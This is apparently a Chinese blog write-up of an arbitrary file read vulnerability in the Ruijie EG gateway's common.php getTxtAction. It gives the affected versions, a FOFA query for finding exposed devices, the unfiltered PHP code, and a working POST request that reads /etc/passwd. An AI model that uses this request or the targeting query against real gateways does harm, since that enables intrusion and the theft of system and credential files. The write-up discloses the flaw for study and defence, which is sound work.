锐捷-EWEB common.php 文件读取漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 common.php 的 getTxtAction 存在任意文件读取漏洞,攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

直接看 ddi/server/common.php 中的 getTxtAction 方法实现

public function getTxtAction() {
        $file = p('path');
        $status = true;
        if (file_exists($file)) {
            $content = file_get_contents($file); //读取文件中的内容
        } else {
            $status = false;
            return;
        }
        json_echo(array('status'=>$status, 'content'=>$content));
    }

直接将无任何过滤和校验 post 获取的 path 直接带入 file_get_contents 函数中进行文件操作,导致任意文件读取漏洞。

漏洞复现

POST /ddi/server/common.php?a=getTxt HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

path=/etc/passwd

成功读取到 /etc/passwd 文件内容


手机扫码阅读

泛微e-office OfficeServer2.php 文件读取漏洞

锐捷-EWEB dns.php 文件读取漏洞

评 论